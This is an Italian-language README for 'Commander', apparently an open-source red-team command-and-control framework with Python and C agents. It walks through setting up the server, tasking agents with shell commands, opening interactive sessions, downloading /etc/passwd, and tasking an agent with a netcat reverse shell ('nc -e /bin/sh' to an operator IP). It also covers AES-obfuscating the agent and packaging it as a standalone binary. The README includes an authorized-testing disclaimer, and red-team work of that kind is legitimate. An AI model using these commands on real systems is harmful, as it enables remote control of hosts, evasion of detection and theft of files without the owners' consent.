
Framework di comando e controllo basato su Python con comunicazione TLS crittografata, supporto per più agenti (Python/C), sessioni interattive, trasferimento file e offuscamento AES per operazioni di red team.
Commander è un framework di comando e controllo (C2) scritto in Python, Flask e SQLite. Viene fornito con due agenti scritti in Python e C.
In continuo sviluppo
Non adatto a script-kiddie
È richiesto Python >= 3.6 e le seguenti dipendenze
Linux per admin.py e c2_server.py. (Non testato su Windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Per prima cosa crea i certificati e le chiavi necessari
# se vuoi proteggere la chiave con una passphrase escludi -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
Avvia prima il modulo admin.py per creare un file db sqlite locale
python3 admin.py
Continua eseguendo il server
python3 c2_server.py
E infine l'agente. Per l'agente Python puoi eseguirlo direttamente, ma per l'agente C devi prima compilarlo.
# agente Python
python3 agent.py
# agente C
gcc agent.c -o agent -lcurl -lb64
./agent
Per impostazione predefinita, sia gli agenti che il server funzionano su TLS e base64. Il punto di comunicazione è impostato a 127.0.0.1:5000 e nel caso sia necessario un punto diverso, deve essere cambiato nei file sorgente degli agenti.
Come operatore/amministratore puoi usare i seguenti comandi per controllare i tuoi agenti
Comandi:
task add arg c2-commands
Aggiunge un compito a un agente, a un gruppo o a tutti gli agenti.
arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands: i valori possibili sono c2-register c2-shell c2-sleep c2-quit
c2-register: Fa sì che l'agente si registri di nuovo.
c2-shell cmd: Accetta un comando shell da eseguire per l'agente. es. c2-shell whoami
cmd: Il comando da eseguire.
c2-sleep: Configura l'intervallo con cui un agente controllerà la presenza di compiti.
c2-session port: Istruisce l'agente ad aprire una sessione shell con il server su questa porta.
port: La porta a cui connettersi. Se non fornita, il valore predefinito è 5555.
c2-quit: Forza l'agente a uscire.
task delete arg
Elimina un compito da un agente o da tutti gli agenti.
arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Mostra le informazioni per tutti gli agenti disponibili o per un agente specifico.
arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Mostra il compito di un agente o di tutti gli agenti.
arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Mostra la cronologia/risultato di un agente o di tutti gli agenti.
arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Elimina il database in modo che gli agenti attivi vengano registrati di nuovo.
exit
Ciao ciao!
Sessioni:
sessions server arg [port]
Controlla un gestore di sessioni.
arg: può avere i seguenti valori: 'start' , 'stop' 'status'
port: la porta è opzionale per l'argomento start e se non fornita il valore predefinito è 5555. Questo argomento definisce la porta del server di sessioni.
sessions select arg
Seleziona a quale sessione collegarsi.
arg: l'indice dal risultato di 'sessions list'
sessions close arg
Chiude una sessione.
arg: l'indice dal risultato di 'sessions list'
sessions list
Mostra le sessioni disponibili
local-ls directory
Elenca sul tuo host i file nella directory selezionata
download 'file'
Scarica il 'file' localmente nella directory corrente
upload 'file'
Carica un file nella directory in cui si trova attualmente l'agente
Bisogna prestare particolare attenzione al comando 'find active agents'. Questo comando elimina tutte le tabelle e le ricrea. Potrebbe sembrare spaventoso ma non lo è, almeno questo è quello che credo :P
L'idea alla base di questa funzionalità è che il server c2 può richiedere a un agente di ri-registrarsi nel caso in cui non lo riconosca. Quindi, poiché vogliamo pulire il database dalle vecchie voci inutilizzate e allo stesso tempo trovare tutti gli host attualmente attivi, possiamo eliminare le tabelle e attivare il meccanismo di ri-registrazione del server c2. Vedi sotto per il meccanismo di ri-registrazione.
Di seguito è riportato un diagramma di flusso normale

Nel caso in cui l'ambiente subisca un guasto grave come un database corrotto o qualche altro guasto critico, viene abilitato il meccanismo di ri-registrazione in modo da non perdere la connessione con i nostri agenti.
Più specificamente, nel caso in cui perdiamo il database, non avremo informazioni sugli uuid che stiamo ricevendo, quindi non possiamo impostare compiti su di essi, ecc... Quindi, gli agenti continueranno a cercare di recuperare i loro compiti e poiché non li riconosciamo, chiederemo loro di registrarsi di nuovo in modo da poterli inserire nel nostro database e poterli controllare di nuovo.
Di seguito è riportato il diagramma di flusso per questo caso.

Per configurare il tuo ambiente, avvia prima admin.py e poi c2_server.py ed esegui l'agente. Dopo puoi controllare gli agenti disponibili.
# mostra tutti gli agenti disponibili
show agent all
Per istruire tutti gli agenti ad eseguire il comando "id" puoi farlo così:
# per tutti gli agenti
task add all c2-shell id
# controlla i risultati di "id"
show result all
Per controllare la cronologia/risultati precedenti di compiti eseguiti per un agente specifico, fallo così:
# controlla i risultati di un agente specifico
show result 85913eb1245d40eb96cf53eaf0b1e241
Puoi anche cambiare l'intervallo con cui gli agenti controllano i compiti a 30 secondi in questo modo:
# per impostarlo per tutti gli agenti
task add all c2-sleep 30
Per aprire una sessione con uno o più dei tuoi agenti, procedi come segue.
# trova l'agente/uuid
show agent all
# abilita il server ad accettare connessioni
sessions server start 5555
# aggiungi un compito per una sessione al tuo agente preferito
task add your_prefered_agent_uuid_here c2-session 5555
# mostra un elenco di connessioni disponibili
sessions list
# seleziona a quale sessione collegarsi, scegliamo 0
sessions select 0
# esegui un comando
id
# scarica localmente il file passwd
download /etc/passwd
# elenca i tuoi file localmente per verificare che passwd sia stato creato
local-ls
# carica un file (test.txt) nella directory in cui si trova l'agente
upload test.txt
# torna alla cli principale
go back
# controlla se il server è in esecuzione
sessions server status
# ferma il server di sessioni
sessions server stop
Se per qualche motivo vuoi eseguire un'altra sessione esterna come con netcat o metasploit, procedi come segue.
# mostra tutti gli agenti disponibili
show agent all
# prima apri un netcat sulla tua macchina
nc -vnlp 4444
# aggiungi un compito per aprire una reverse shell per un agente specifico
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444
In questo modo avrai una shell 'dura a morire' che anche se ti disconnetti, si riprenderà immediatamente. Solo i comandi interattivi la faranno morire definitivamente.
L'agente Python offre offuscamento utilizzando una crittografia AES ECB di base e la codifica base64
Modifica il file obfuscator.py e cambia il valore 'key' con una chiave di 16 caratteri per creare un payload personalizzato. L'output del nuovo agente si trova in Agents/obs_agent.py
Puoi eseguirlo così:
python3 obfuscator.py
# e per eseguire l'agente, fai come al solito
python3 obs_agent.py
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
pip install pyinstaller
pyinstaller --onefile agent.py
Il binario si trova nella directory dist.
Nel caso qualcosa fallisca, potresti dover aggiornare le tue librerie python e pip. Se continua a fallire, allora... beh, la vita è successa
Crea nuovi certificati per ogni incarico
Fai il backup del tuo c2.db, è facile... solo un file
pytest è stato usato per i test. Puoi eseguire i test così:
cd tests/
py.test
Attenzione: Devi eseguire i test all'interno della directory tests altrimenti il tuo c2.db verrà sovrascritto e perderai i tuoi dati
Per controllare la copertura del codice e produrre un bel report html puoi usare questo:
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html
Disclaimer: Questo strumento è inteso solo come strumento di dimostrazione proof of concept per test di sicurezza autorizzati. Eseguire questo strumento contro host per i quali non si ha esplicita autorizzazione è illegale. Sei responsabile di eventuali problemi che potresti causare usando questo strumento.